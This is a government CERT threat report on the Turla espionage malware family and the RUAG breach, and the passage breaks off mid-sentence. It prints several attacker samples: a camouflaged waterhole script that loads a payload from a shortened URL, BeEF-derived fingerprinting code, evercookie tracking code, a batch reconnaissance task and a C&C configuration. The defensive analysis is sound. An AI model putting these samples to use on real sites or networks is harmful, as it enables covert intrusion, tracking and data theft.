INTRODUCTION 2 / 32 MELANI:GovCERT TLP WHITE The Malware Family There are many names used in the context of this malware family. The most generic one is Turla, which is considered as the name for the whole family - some also call it Uroburos, though this is not strictly correct. The following picture tries - in an extremely simplified manner - to summarize the involved trojan names: Figure 2: Turla Family Tree This overview is not complete, but most commonly known names should be present. The common ancestor seems to be Agent.BTZ, which was first observed in 2007 and 2008 in the US. The roots of Agent.BTZ are a bit vague, and also code relations to the rest of the family are not very obvious. For these reasons, the relations are shown as dotted lines. Surprisingly, some more obvious links can be found between Agent.BTZ and the much newer Snake rootkit - like a common XOR key used in both of them. The relation to Carbon is weaker though. So, Agent.BTZ must be considered as a vague origin of the whole family. It is not really known how old Agent.BTZ is, but we assume it\xe2\x80\x99s actually older than 2007. The Carbon rootkit was the first real member of the family, first observed in 2007. It initially came as a 32-bit kernel driver under Windows XP, and 2 years later as a 64-bit kernel driver. After Microsoft enforced digital signatures for kernel drivers on their 64-bit operating systems, the Carbon rootkit was replaced by a usermode only variant, purely using DLLs and hence named Carbon-DLL. Carbon-DLL also added asymmetric encryption for C&C (Command and Control) traffic. The famous Snake rootkit (also called Uroburos) seems to be a spin-off of the Carbon rootkit. It also is a rootkit, using an exploit in a digitally signed VMWare driver, but it lacks the advanced cryptography of Carbon-DLL. So it does not look like a direct successor. Shown in green boxes are the corresponding recon tools (more details about these in the \xe2\x80\x9cActive Infection\xe2\x80\x9d chapter later). Recon tools are a bit like poor-man\xe2\x80\x99s-versions of their counterparts and are used as initial infections to have a first look on freshly infected systems. As the attackers have only limited control on which systems actually get successfully infected, it is useful for them to have a closer look before sending the final infection malware (which we call stage 2 malware). The only well known member of these recon tools is Tavdig, also known as Wipbot or Epic. It has a predecessor, which was never broadly published about; we call it regbackup, because this is the name under which it was installed. INTRODUCTION 3 / 32 MELANI:GovCERT TLP WHITE Modus Operandi GovCERT uses the following model to describe the actions of APT actors. Basically it is a simplified approach of the Cyber Kill Chain model proposed by Lockheed. Figure 3: Phases of the Attack We distinguish the following phases: 1. Victim evaluation: During this phase, the attacker tries to get as much information about the target as possible. It is a preparation for the actual attack and covers at least the IP ranges, platforms and some usage patterns of their users. It is important for him to place the right waterholes and to be able to filter out unwanted victims from the actual targets. This phase is divided into several sub phases, not all need to be necessarily be in place: \xe2\x80\xa2 Passive information gathering \xe2\x80\xa2 Active scanning \xe2\x80\xa2 Preparing waterholes 2. Infecting: The infection phase consists of a fingerprint of the victim in order to find the best suited infection method (using an appropriate exploit or a social engineering technique). It has the following sub phases: \xe2\x80\xa2 Activating waterholes / sending spearphishings \xe2\x80\xa2 Fingerprinting: This is most often done using JavaScript \xe2\x80\xa2 Exploiting: Depending on the target, a suitable exploit is chosen. If this is not feasible, a social engineering approach is applied. MODUS OPERANDI 4 / 32 MELANI:GovCERT TLP WHITE 3. Active Infection: The attacker is now in the network. There are several sub phases here: \xe2\x80\xa2 Trojan supported Reconnaissance: We often see an initial reconnaissance tool being placed, performing additional reconnaissance actions from within the network of the victim. This tool has not many capabilities, but can be replaced by a more powerful malware at any time. \xe2\x80\xa2 Gaining Persistence: If the recon tool has been placed successfully and has sent out enough information, it is replaced by the actual malware with more functionality and deeper persistence in the system and the network. \xe2\x80\xa2 Lateral Movement: The attacker begins to move laterally in order to gain access to the information he is interested in. Lateral movement is often done by using \xe2\x80\x9cnormal\xe2\x80\x9d tools that are also used for managing systems. The lateral movement also comprises the collection of credentials, as well as the elevation of privileges. \xe2\x80\xa2 Data Exfiltration: As soon as the attacker begins to steal data, he must transport it outside of the network without being discovered. This is often done by first compressing the data and then sending it out, piece by piece. Some of these phases are overlapping, and the attackers repeat phases if necessary; e.g. if they do not manage to get a certain piece of information due to the lack of privileges, they are forced to repeat the lateral movement. In the following chapters, we are going to discuss the different phases in more detail. Victim Evaluation Even though we do not have much data about the attacker during this and the next phase, we are going to describe his actions in a more general way, based on findings we made during other incidents. Reconnaissance activities also involve the preparation of waterholes. Vulnerable web servers on the Internet serve him not only as waterholes, but also as first-level C&C servers. Infecting Unfortunately, log files at RUAG only go back until September 2014, where we still see C&C activity. Additionally, many suspicious devices have been reinstalled in the meantime; Hence we cannot determine the initial attack vector. However, we know from other cases the modus operandi of this actor group, which we\xe2\x80\x99ll describe in the following paragraphs. Before infecting a device, the attacker does an extensive fingerprinting. They only infect a device after being certain it is suited for their purposes. In the case of waterholes, they do it as follows: MODUS OPERANDI 5 / 32 MELANI:GovCERT TLP WHITE Figure 4: Chain of Infection 1. The waterhole just contains a redirection to the actual infection site. This redirection can vary. We observed URL shorteners as well as JavaScripts disguised as Google Analytics scripts. 2. The infection site tests whether the victim\xe2\x80\x99s IP address is on a target list; if so, a fingerprinting script is returned. The result of it is sent back to the same server, where it is manually checked by the attacker. Only after a certain time, the attacker decides, whether the device shall be infected, either by sending an exploit, or by using social engineering techniques. 3. If the infection is successful, a first connection to a C&C server is made. Here is an example of such a camouflaged JavaScript: 1 document.getElementsByTagName(""body"")[0].onmousemove = function() { 2 if (document.getElementById(""xyz"")) {} else{ 3 var gam = document.createElement('script'); 4 gam.type = 'text/\xe2\x80\x98javascript; 5 gam.async = true; 6 gam.src = ('https:' == document.location.protocol ? 'http://goo.gl' : 7 'http://goo.gl') + '/GLmcrx'; 8 var sm = document.getElementsByTagName('script')[0]; 9 sm.parentNode.insertBefore(gam, sm); 10 var fl = document.createElement('span'); 11 fl.id = 'xyz'; 12 var d = document.getElementsByTagName('div')[0]; 13 d.parentNode.insertBefore(fl, d);} The attacker maintains a target list of network ranges he\xe2\x80\x99s interested in. An initial script is delivered in order to collect basic information, such as the external IP address, or the current date and the time on the computer of the victim: MODUS OPERANDI 6 / 32 MELANI:GovCERT TLP WHITE 1 2 var returnUrl = 'SERVERADDRESS/?cart_id=DD&' + 'mode=collect'; var returnData = """"; 3 var returnDataType = """"; 4 myResults['123'] = ""Hello""; myResults['456'] = ""xxx.xxx.xxx.xxx""; 5 sendComplete(); 6 function sendComplete() { 7 myResults['dateEnd'] = (new Date).toString(); myResults['content'] = """"; 8 Collection['title'] = ""Image""; 9 Collection['content'] = utf8_to_b64(JSON.stringify(myResults)); Collection['type'] = ""jpeg""; 10 Collection['index'] = ""143000""; 11 Collection['checksum'] = ""169739e7211295146a61d300c0fef02d""; returnData = JSON.stringify(Collection); 12 returnDataType = 'application/json'; 13 sendResult(); } DD stands for a two digit value. If the IP address matches a network range on the target list, the next step is a more sophisticated finger- printing script. The fingerprinting scripts gains as much information about the victim as possible by using JavaScript. It is taken from the BEEF framework (Browser Exploitation Framework BEEF, beefproject.com). A small extract of this script shows the technique: 1 PluginDetect.getVersion("".""); 2 var jaid = PluginDetect.getVersion(""Java""); 3 var fid = PluginDetect.getVersion(""Flash""); 4 var aid = PluginDetect.getVersion(""AdobeReader""); if (aid == ""null"") { 5 var aid = PluginDetect.getVersion(""PDFReader"") } 6 var sid = PluginDetect.getVersion(""Shockwave""); var mid = ""null""; 7 var rid = ""null""; 8 var rid = document.referrer; 9 if (rid == null || rid.length == 0) { rid = ""null"" 10 } 11 mid = COV(); 12 var feedback_link = ""SERVERADDRESS?cart_id=DD""; 13 var cartid = ""DD""; 14 var myjq = jQuery.noConflict(true); 15 req() The fingerprinting scripts also marks any device that has been fingerprinted with an evercookie. An evercookie is a cookie, which uses any method available to make a device identifiable, even if the user deletes standard cookies. Evercookies also use the possibilities offered by LSO (Local Storage Objects) and plugins like Flash or Silverlight. The following code snippet shows, how an evercookie is created: 1 if (s === 0) { 2 N.evercookie_database_storage(n, i); 3 if (a.silverlight) { 4 N.evercookie_silverlight(n, i) 5 } 6 if (a.authPath) { 7 N.evercookie_auth(n, i) 8 } 9 if (b) { 10 N.evercookie_java(n, i) 11 } MODUS OPERANDI 7 / 32 http://beefproject.com/ http://samy.pl/evercookie/ MELANI:GovCERT TLP WHITE 12 N._ec.userData = N.evercookie_userdata(n, i); 13 N._ec.cookieData = N.evercookie_cookie(n, i); 14 N._ec.localData = N.evercookie_local_storage(n, i); 15 N._ec.globalData = N.evercookie_global_storage(n, i); 16 N._ec.sessionData = N.evercookie_session_storage(n, i); 17 N._ec.windowData = N.evercookie_window(n, i); 18 if (m) { 19 N._ec.historyData = N.evercookie_history(n, i) 20 } 21 } If the fingerprinting suggests a high probability of a successful infection, a payload containing an exploit, or trying to trick the user into executing a seemingly legitimate binary, e.g. a JavaInstaller, is returned. Active Infection The picture below depicts the trojans of the Turla malware family used after a successful infection in more detail: Figure 5: Turla Timeline For an infection on a victim system (also called a bot), two stages are passed through. At a first stage, a system is infected by a reconnaissance malware; we call this a recon tool. Recon tools are shown as green circles. Their main purpose is to figure out whether the infected system is interesting enough. Should this be the case, the full-fledged stage 2 malware is added, and ultimately persistence is gained. This will be a much more elaborate malware which implements more features. Stage 2 trojans usually run under administrative privileges, so they require the additional step of a privilege escalation. Note that the recon tool is not always removed after the stage 2 trojan has been installed. We observed systems with both stages active on simultaneously. Recon tools are sometimes also used to attack further, at this point still clean systems, to directly install a stage 2 trojan on them. This usually requires the use of an exploit (privilege escalation) on the target system, or - more commonly - the knowledge of credentials. MODUS OPERANDI 8 / 32 MELANI:GovCERT TLP WHITE As a consequence, an infected network can contain bots infected with only recon tools, only stage 2 trojans, both of them, or - hopefully the major part - none of them. The picture also shows a purple circle, dated 2011 and named Unix backdoor. This is actually a completely different code, but it was used by the same attackers in 2011. It\xe2\x80\x99s main working principle is to sniff all packets on the wire, to check their payload for some mathematical markers left there by the attackers, and finally to back-connect to an IP address encoded in these markers; this is somehow comparable to the \xe2\x80\x9ctainting\xe2\x80\x9d mechanism Snake used several years later. In the end, this is a type of RAT (Remote Access Tool). It even contains a feature to access a linear filesystem at a third IP address (like a file repository), but we never found the corresponding server implementation. It uses Diffie Hellman and Blowfish for communication. One interesting observation about it is the use of a (non-secret) prime number p in the Diffie-Hellman implementation, which already appeared in a project called LOKI2, published 1997 in the Phrack magazine. LOKI2 was a program to exfiltrate data via covered channels, like DNS or ICMP. In our opinion, the code was derived from the LOKI2 implementation, and the attackers most probably have other LOKI2-like programs in their arsenal. Note that Kaspersky named this malware Turla Unix variant later on. A common feature of recon tools, as well as of stage 2 trojans, is that they don\xe2\x80\x99t run in dedicated processes, but inject themselves into already existing processes, where they live as additional threads. This way, no additional processes becomes visible in a running system. We\xe2\x80\x99ll examine this mechanism in the next section. We differentiate 2 phases after a successful infection: a trojan supported reconnaissance phase while the recon tool is used, and the final persistence phase after the stage 2 malware is installed. Trojan Supported Reconnaissance Recon tools show some simplifications, in contrast to stage 2 malware: \xe2\x80\xa2 They run in the context of a normal user, without additional privileges. Other users logging in on the same system are not directly affected. \xe2\x80\xa2 They are started whenever the infected user logs in, using a standard mechanism, like autostart folders or winlogon registry keys. \xe2\x80\xa2 Main functionality: Execution of batch scripts or executables. Recon tools often also collect some generic system information every time they are started. \xe2\x80\xa2 Recon tools are usually single-threaded. Received binaries and scripts are executed immediately, and the results are also returned immediately. No concurrent execution is possible. \xe2\x80\xa2 No additional features like key loggers, plugins or peer to peer functionalities. \xe2\x80\xa2 No separate configuration file, their configuration is completely hardcoded. Any changes - like C&C server updates - require exchanging the whole binary. \xe2\x80\xa2 Usually no unique trojan ID is used, or such an ID is volatile (this is not true in all cases). Recon tools are used by the attackers to have a closer look at a particular system, usually for a few days or weeks. They can also be considered as giveaway trojans: in case a system is detected at this stage of infection, the attackers don\xe2\x80\x99t loose too much, as the more advanced stage 2 trojan was not yet revealed. This of course is only true as long as a stage 2 trojan is not yet discovered and published about. As mentioned above, the main functionality is the execution of batch scripts or binaries. We\xe2\x80\x99re using the more generic term of a task for this. A task is a data blob (binary large object) sent by the C&C server to an infected bot containing an instruction (or several instructions) to be executed by a target. The bot either immediately executes this task and sends the result back, it queues the task for later execution, or it forwards the task to another bot to do the same. In the case of recon tools, these tasks are very simple and can only contain binaries or batch scripts to execute. No queuing or forwarding is supported for recon tools. We\xe2\x80\x99ll have a closer look on the task format in the next section \xe2\x80\x9cGaining Information and the Task Format\xe2\x80\x9d. Historically, the first actual implementation of a recon tool was observed back in 2007. This was a rather simple program using the name regbackup.exe (that\xe2\x80\x99s also how we called it at the time), pretending MODUS OPERANDI 9 / 32 http://phrack.org/issues/51/6.html MELANI:GovCERT TLP WHITE to be a service for a registry backup. Traffic between C&C servers and bots were encrypted using the symmetric CAST128 algorithm in OFB mode with a hardcoded key. The key was hardcoded, no peer to peer functionality was implemented. In 2011, we observed an evolved version of the recon tool, which was later documented by Kaspersky under the name Tavdig (sometimes also called Wipbot or Epic, these are all the same thing). Basically it\xe2\x80\x99s very similar to regbackup. The main evolution is a more advanced binary packer, which actually doesn\xe2\x80\x99t even unpack into a standard PE format file, but into a proprietary format (we call it BAD format because it\xe2\x80\x99s using hex values 0B AD as marker number instead of ""PE""). Furthermore, encryption was replaced by ElGamal encryption, which is a public private scheme - more technical details about this later on. The code contains the public key of the server, and a private key. As described above, recon tools use an injection mechanism, like most other members of the malware family. In the case of Tavdig, this is how it works: Figure 6: Tavdig Injection In this illustration, time runs from top to down, starting after the login of an infected user. Tavdig is then started and running for a short time in its own process (orange box), for instance via the Winlogon registry key. It then injects a guard thread into a process that won\xe2\x80\x99t be stopped, until the user logs out, typically one of the svchost.exe processes. This thread is shown as a red stripe. The guard thread itself only acts in the background: It contains a list of process names typical for web browsers, mail and IM clients, and other internet applications. Every process in the bot matching one of these names becomes a target process. The guard thread permanently searches for such target processes. As soon as one is found, e.g. if the user starts a web browser, a work thread is injected. The work thread is doing the main work: it contacts the C&C servers and executes tasks. The guard thread makes sure that only one work thread is running at the same time, and it initiates the start of a new work thread if the old one terminates, e.g. after the victim closes its web browser. This happens immediately, if another target process is still running. But it can also happen later on, as soon as a new target process is started by the victim. This way, only processes that MODUS OPERANDI 10 / 32 https://de.wikipedia.org/wiki/Output_Feedback_Mode MELANI:GovCERT TLP WHITE typically connect to the internet try to contact C&C servers; This fools local firewalls, which usually filter traffic based on the originating process, but this also makes detection in proxy logs harder, as C&C traffic is mixed with legitimate traffic. One side effect is Tavdig not to become active before the user starts his internet browser or mail client or any other program connecting the internet. Note that all members of the Turla family are proxy aware: unlike many E-banking trojans, they also work behind firewalls. One drawback for the attackers, at least in the case of recon tools, is that tasks can get lost, namely if a task, which takes some time for execution, is received, and the victim closes the browser before the task has been finished and results are sent back. There is no queueing mechanism, so the task won\xe2\x80\x99t be executed again in the next started work thread. Second stage trojans solve this problem by more complex setups. Gaining Information and the Task Format As mentioned earlier above, tasks appear in a specific container format. In case of Carbon-DLL, it roughly looks like this: Byte Offset Meaning 0 Task-ID 4 Length f of routing blob 8 routing blob f +8 Task-code f +12 Length l of task payload f +16 payload (e.g. a batch script) f +l+16 Length c of config data f +l+20 config data Figure 7: Task Format First, every task has a unique task ID, which is also returned together with the results. This is important, because it allows the attackers to link results and tasks. The routing blob can contain one or more trojan IDs of the next hop, combined with transport information (TCP plus address, or a named pipe, potentially with authentication). Every hop removes one element of this routing blob before forwarding to the next, and as soon as the routing blob is empty, the bot knows it is the one to execute the task. When a task is executed, the task-code is checked. The remaining data format depends on this code. It usually is 0, which means the execution of a standard task - this is also the format shown in the table. In this case, two blobs follow: the payload and the config data. Here is the example of a payload, which is a batch script, in this case a typical initial recon activity: 1 ipconfig -all 2 netstat -r 3 netstat -an 4 nbtstat -n 5 nbtstat -s 6 net share 7 net file 8 net session MODUS OPERANDI 11 / 32 MELANI:GovCERT TLP WHITE 9 net use 10 net group 11 net view 12 net config 13 systeminfo 14 net time \\\\127.0.0.1 But the bot still needs to know what to do with this. This is what the config data - always plain text - is for. It might look like this: 1 [CONFIG] 2 name = %TEMP%\\sysh32.bat 3 exe = cmd.exe /c ""%TEMP%\\sysh32.bat"" This example means that the bot should to the following steps: 1. store the payload in the file %TEMP%\\sysh32.bat 2. execute the command cmd.exe /c ""%TEMP%\\sysh32.bat"" (using CreateProcess) - so this will actu- ally execute the payload as a batch script (/c option) 3. remove %TEMP%\\sysh32.bat (the payload file is always automatically removed) 4. the standard output is returned to the C&C server There are special parameters in regard what to return, for example the content of some file instead of the standard output, or how to deal with standard error. A similar binary format exists for the returned task results. If the task-code is between 1 and 99, a special task is executed (it also means that the rest of the container format changes accordingly). Some of these tasks require sub-task-codes. Some of these special tasks are: \xe2\x80\xa2 55: update (a sub-task-code tells what to update, like which binary, or the config file) \xe2\x80\xa2 57: install a plugin \xe2\x80\xa2 62: install the server public key - this will also generate a new private bot key The format described is used by Carbon-DLL. Tavdig is using a similar, but simplified format. It mainly lacks the routing blob and task-code (it implicitly is 0). But Tavdig also includes task-IDs. Gaining Final Persistence By adding a second stage malware to an infected system, final persistence is gained: \xe2\x80\xa2 They usually run under administrator privileges and require a privilege escalation. \xe2\x80\xa2 They are started in more complex ways at boot up time, typically using a service, or - in the case of rootkits - kernel drivers. \xe2\x80\xa2 They also allow the execution of batch scripts and binaries in their tasks, but often also support plugins like key loggers and activities like taking screenshots. \xe2\x80\xa2 They are usually multi-threaded. Received tasks are not immediately executed, but queued and later on executed via another thread, usually even running in a different process. \xe2\x80\xa2 They use named pipes and mutexes to coordinate the different threads. \xe2\x80\xa2 They do have a separate configuration file that allows incremental updates \xe2\x80\xa2 They always install a unique trojan ID for every infected system \xe2\x80\xa2 They support peer-to-peer functionality: tasks can be forwarded to other bots for execution. MODUS OPERANDI 12 / 32 MELANI:GovCERT TLP WHITE This peer-to-peer functionality is a very important additional feature of the stage 2 malware. This means that a bot is able to receive a task from it\xe2\x80\x99s C&C server(s) and route it to another infected bot in the local network; results are sent back using the same path in the reverse direction. To facilitate this feature, every infected bot gets a unique trojan ID at infection time, and every task contains initial routing information, potentially even using several intermediate hops, but we never actually observed tasks with more than two hops. The peer-to-peer network uses different methods for communication, very common are named pipes, but also direct TCP connections are possible. These relations are shown in the following illustration: Figure 8: Hierarchical Structure of the Botnet The first actual stage 2 trojan appeared around the same time as the corresponding recon tool, though we only discovered it some time later. The programmers called it Carbon in the configuration file, so we also use this name; another name for it, derived from a PDB string, is Cobra (a type of snake, but this is not the Snake rootkit). It came as a rootkit and added peer-to-peer functionality, but otherwise didn\xe2\x80\x99t implement more elaborate functions. It used the same cryptographic algorithm as the recon tool, and also the same hardcoded key. As a rootkit, it had a component running in kernel mode, and 2 components running in user mode (one for C&C communication, and one for task execution). The kernel mode component tried to hide all activities from system monitoring, and in addition implemented an encrypted, virtual file store (VFS). The VFS was realized as 100 MB file (hidden by the rootkit) with an NTFS filesystem on it. CAST128 was also used for encryption of the VFS, but in a different encryption mode (CBC), with IVs derived from the block index, and a different hardcoded key. This VFS was used to store the user mode components, a configuration file, received (and not yet executed or forwarded) tasks, results not yet sent out, and logging information. Also a volatile virtual storage was implemented (like a RAM disk) for intermediate task results. The rootkit was very advanced for its time, and is a clear ancestor of the well known Snake rootkit. In 2009, we also found 64 bit implementations of the rootkit. There was no digital signature required at this time, not even on 64 bit systems; the later Snake rootkit used digitally signed, vulnerable VMware drivers as a carrier (vboxdrv.sys), as documented in several papers published in the past years. The configuration file was a simple text file, in later versions it was additionally CAST-encrypted. Here is an (anonymized) example for such a configuration file: 1 [NAME] MODUS OPERANDI 13 / 32 MELANI:GovCERT TLP WHITE 2 object_id=1c2e30cd-abb3-41ef-a74d37 3 4 5 [TIME] 6 user_winmin = 700000 7 user_winmax = 1200000 8 sys_winmin = 1800000 9 sys_winmax = 1900000 10 task_min = 30000 11 task_max = 40000 12 checkmin = 60000 13 checkmax = 70000 14 logmin = 600000 15 logmax = 1200000 16 lastconnect=1223023515 17 timestop= 18 active_con = 900000 19 20 [CW_LOCAL] 21 quantity = 0 22 23 [CW_INET] 24 quantity = 2 25 address1 = 1.2.3.4:80 26 address2 = 5.6.7.8:80 27 28 [TRANSPORT] 29 user_pipe = serpipe 30 system_pipe = \\\\.\\pipe\\iehelper 31 32 33 [DHCP] 34 server = 135 35 36 37 [LOG] 38 lastsend =1223021515 39 logperiod = 7200 40 41 [WORKDATA] 42 run_task= 43 run_task_system= 44 [VERSION] 45 System=Carbon v1.53 46 User=Carbon v1.42 In the CW_INET section, we see the C&C servers. Several can be configured, they are selected using the round robin method. Bots that do not contact C&C servers directly lack this section. CW_LOCAL is then used instead. TRANSPORT defines the internal named pipes for communication between the different threads on an infected bot. The injection mechanism is more complex than the one of Tavdig, but follows the same basic principle. As a main difference, named pipes are used to communicate between the active threads. Typically, the thread injected into the web browser now is only responsible for C&C communication (and so can be called comm thread); received data, and data queued to be sent out, is stored in the VFS as dedicated files. The work MODUS OPERANDI 14 / 32 MELANI:GovCERT TLP WHITE thread, however, lives in a long-living process, like explore.exe, and executes tasks received by the comm thread. This means that receiving a task, executing a task, and sending out the results are decoupled, using a file system in between and named pipes for synchronization. This makes the setup far more reliable, tasks can\xe2\x80\x99t easily get lost anymore. Besides named pipes, mutexes are also required to avoid race conditions. This is also a disadvantage, it results in a more complex setup and easier detection due to pipe and mutex names. Another drawback is the limited size of the VFS (100MB). Tasks - and mainly task results - can\xe2\x80\x99t be larger than this. In 2012, we discovered a new Carbon variant. The main difference to the original Carbon from 2007 was it\xe2\x80\x99s lack of rootkit features and lack of VFS. It was only implemented as 2 usermode DLLs (implementing the same functionality as the original usermode DLLs), and a simple service binary started via the registry, but of course under administrative privileges. That\xe2\x80\x99s why we call it Carbon-DLL. The VFS was replaced by just using a random, already existing directory under the program directory tree, and encryption is realized by just CAST128-encrypting all single files in this working directory. The path of this working directory is stored in a random .inf file, using the hard disk serial number as fingerprint. So all the rootkit\xe2\x80\x99s hiding functions were replaced by obfuscation functions. Technically, this is more basic than using a rootkit, and it could be called a step backward - we assume the programmers were forced to do this due to Microsoft requiring kernel mode drivers to be digitally signed around this time. But it is also an advantage, because it makes the infection more stable, and in some way harder to detect, as there are no hidden files that suddenly become visible in safe mode. Also the problem with limited VFS size is solved, the only limit is the size of the root partition. Carbon DLL\xe2\x80\x99s most important evolution though was C&C cryptography: Like Tavdig, Carbon-DLL implements asymmetric encryption, but in this implementation based upon RSA. CAST128 encryption was still used under the hood, but that\xe2\x80\x99s probably only for historical reasons and does not add to the overall security. Carbon-DLL stored its keys in the configuration file. Note that RSA encryption only applies to infected bots, which directly communicate with C&C servers - and only these bots have configured keys; actually a separate section is added to the configuration file, in order to store keys for bots needing to communicate with C&C servers. However, this section doesn\xe2\x80\x99t exist upon installation; it can be added later on request, triggered by a specific task. Peer to peer communication behind these bots in the local network are only encrypted using CAST128, or not at all. Finally, the Snake rootkit must also be mentioned, though we never actually observed it in this case. It was used in other countries, and many publications exist about it. Uroburos is also sometimes used as another term for Snake, but sometimes Uroburos is also used for the whole family (which is, technically spoken, not correct). Snake is another stage 2 trojan, but we\xe2\x80\x99re not aware if it\xe2\x80\x99s used together with some recon tools. In terms of functionality, it contains features of both the Carbon rootkit and Carbon-DLL at the same time: \xe2\x80\xa2 It is a rootkit, like the Carbon rootkit. This rootkit also works on 64 bit systems, requiring digitally signed drivers. To do this, it uses a exploitable, digitally signed driver from VMWare, as described in several publications. Hence it\xe2\x80\x99s an evolution of the Carbon rootkit. Like the afore mentioned, it contains an encrypted and hidden file store, but with increased size. \xe2\x80\xa2 It lacks the asymmetric encryption used in Carbon-DLL, it\xe2\x80\x99s again based upon CAST128. So you can\xe2\x80\x99t call it an evolution of Carbon-DLL. The best way to describe Snake is to call it a sibling of Carbon-DLL - as if the development of the Carbon rootkit split into 2 branches, one ending in Carbon-DLL, and one ending in Snake. A Closer Look at the Encryption Algorithms Used in Carbon-DLL and Tavdig The malware found at RUAG was Carbon-DLL, paired with Tavdig. This section contains some technical and mathematical findings about the implementation of the cryptographic algorithms gained by reverse- engineering the code. The section can be skipped without loosing too much context for the rest of this paper, but it can also give some insight into the development of the malware. MODUS OPERANDI 15 / 32 MELANI:GovCERT TLP WHITE Understanding cryptographic algorithms is a key point for understanding the malware. It is also interesting to see some differences in how they are actually implemented in Tavdig and in Carbon. From the perspective of a reverser, Carbon\xe2\x80\x99s approach is easier: Carbon uses the Microsofts cryptogra- phy API (MSCAPI); The standard MSCAPI calls CryptEncrypt and CryptDecrypt are imported via IAT (Import Address Table) and so become directly visible (to be precise, a slight obfuscation is applied to hide these calls by building the IAT on the heap, instead of using the standard import table). The following code shows the decryption of the symmetric session key using RSA. Note that all IDA (Interactive Dis- assembler) screenshots shown here are decompiler pseudocode outputs. API calls (so-called imports) are shown in a red color, as for example CryptDecrypt, and their names are created automatically and don\xe2\x80\x99t need any interpretation from our side. Blue names, however, are initially only generic numbers; their actual names must be given by the reverser, based upon what function is suspected behind them. So, the names you see in blue are our interpretation of the code. Figure 9: RSA Usage in Carbon-DLL As you can see, there are several red names, which makes interpretation of the code easier. The fact that RSA should be used is encoded inside the key itself, using Microsofts proprietary format. Similarly, the symmetric decryption of the main data using the session key is quite easy to find: Figure 10: Symmetric Encryption in Carbon-DLL Again a lot of red names can be seen, because the MSCAPI is used. Which actual algorithm to use is once more encoded in the session key itself. Note that while analysis of the code is easy, reconstructing it on a MODUS OPERANDI 16 / 32 MELANI:GovCERT TLP WHITE different operating system, like Linux, is another story, due to MSCAPI\xe2\x80\x99s bad interoperability with open source libraries like OpenSSL (in particular as far as the key format for asymmetric encryption is concerned). The use of MSCAPI is new in Carbon-DLL. The Carbon rootkit implemented the CAST128 algorithm itself. Interestingly, the same is true for Tavdig. Tavdig also applies asymmetric cryptography, and it would be quite easy to do the same as Carbon-DLL. But instead of this, Tavdig implements it\xe2\x80\x99s asymmetric encryption algorithm itself. The same is true for Tavdig\xe2\x80\x99s symmetric algorithm, which is AES. This is a very different approach from Carbon-DLL, so we assume that Carbon-DLL was developed by a different team than the Carbon rootkit or Tavdig. Encryption algorithms implemented directly in malware can be tricky to find and identify for reversers, and it is worth having a closer look. The situation is still comparably easy with symmetric algorithms like AES, Blowfish or DES, as they usually contain typical cryptographic constants, for example for permutation tables or substitution boxes (an exception are some stream ciphers like RC4). The same is true for hash algorithms like MD5. For this reason, reversers use dedicated tools and plugins to find these constants, in order to make guesses about the algorithms that then can be verified. Of course this can also be fooled by changing these constants, but this is rarely done. What often also helps to find symmetric cryptography functions, is to search for non-trivial XOR instructions, because XOR (exclusive OR) is typically used in symmetric cryptography. Note that trivial XOR instructions occur frequently in any code, these are exclusive ORs of a value with itself, which always returns 0; this is often used by compilers to just initialize a variable to 0; hence we\xe2\x80\x99re only looking for XOR\xe2\x80\x99s with two different operands. The situation is far trickier for asymmetric cryptography, as these algorithms don\xe2\x80\x99t use any reliable cryp- tographic constants, they don\xe2\x80\x99t even use non-trivial XOR instructions. However, they require mathematical functions (big integer functions) to do calculations with very large integers of 1024 bits and more inside a finite field, i.e. modulus a large prime number, which is called the modulus of the field. One approach is identifying these functions and the library used by the programmers in their implementation. Unfortunately, we could not identify the library used by the programmers of Tavdig - we don\xe2\x80\x99t even know if it is a public one or not. The code has some unusual features though; let\xe2\x80\x99s have a closer look at it. First, the following screenshot shows the implementation of long addition, which is still quite straightforward: Figure 11: Addition of Two 1024 Bit Integers MODUS OPERANDI 17 / 32 MELANI:GovCERT TLP WHITE As you can see, not much red anymore, only blue. This code does not use any API call, all names are our interpretation. Big integers are stored in 65 16-bit words (actually only 64 are really used), so they are 1024 bits in size. This size is hardcoded. The data is stored with the least significant word first (addition starts with word index 0), i.e. little endian. The rest of the code is straightforward. The use of word-wise instead of byte-wise or double-word-wise granularity is a bit unusual. The explicit encoding of the carry bit is also interesting: Direct assembly code would use the ADC instruction (addition regarding the carry bit), C-code without inline assembly, however, needs the explicit implementation of the carry bit. On assembly level, only ADD instructions (addition without regarding the carry bit) appear. This is not a very efficient approach, so we doubt this code actually being part of a well known library. One non-trivial problem for reversers is to actually find these functions. Imagine that in a fresh binary, you might have hundreds of nameless functions with nameless variables in them. No cryptographic constants mark these big integer functions in any way. Sometimes, searching for ADC instructions helps, but not so in this case. No XOR instructions appear, which are otherwise typical for symmetric cryptography. There\xe2\x80\x99s no easy response to this problem, except for checking all functions manually, or trying to search top down. There are more odd things in the multiplication code. Binary multiplication is a bit tricky and mainly works by scanning the bits from right to left in one operand, while the other operand is shifted left at each step and added to the factor (initialized with 0) whenever the scan hits a 1 - like we learned to multiply on paper at school. Now let\xe2\x80\x99s have a look into Tavdig\xe2\x80\x99s implementation (only the relevant part of the function is shown here): Figure 12: Multiplication of Two 1024 Bit Integers Inside a Finite Field One thing that can immediately be seen is the presence of MODULUS in the code. This is the large prime number defining the field. It is more efficient to take every intermediate result modulus this prime, i.e. to subtract the prime as many times as possible, because adding and subtracting the prime results in identical elements of the field; but smaller values result in faster execution, so the code always tries to keep the smallest value possible. Note that the function BigCmpToModulus returns 1, if the value is larger than the modulus, which means that the modulus can be subtracted to normalize the value (only one such step is required here, see below). Unusual is the fact that the modulus is not passed as an argument, but is hardcoded. This speaks against the usage of a generic library. However, the use of C++ templates can also show this behavior, so a source code based library is still a possibility. MODUS OPERANDI 18 / 32 https://en.wikipedia.org/wiki/Binary_multiplier MELANI:GovCERT TLP WHITE In the code, the scanning through the different bits in the first operand mult1 is seen in the do loop. We then see the addition of the second operand toMult to the factor value, which was previously initialized to 0. However, toMult is at no place shifted to the left, as would usually be the case. Instead, factor is divided by 2 at every step - one could say, the sum is shifted one bit to the right instead. This division by 2 has an interesting implementation. With factor[0] & 1, the code checks if factor is odd. Naturally, dividing an odd number by 2 does not work well, if it is an integer; but it actually is an element of a finite field, and these can be represented by many different integers by adding the modulus as many times as we like: the modulus represents the additive neutral of the field, actually it\xe2\x80\x99s another representation of 0. If the integer we want to divide by 2 is odd, we just add the modulus one time. Because the modulus is a prime number and hence odd, the resulting integer is an even number (odd plus odd is always even), while still representing the same element of the field. The subsequent division by 2 can now be done using a simple bit shift to the right. This is how division by 2 is implemented in a finite field. The main advantage of this approach is that the bit width of factor is never larger than 1025 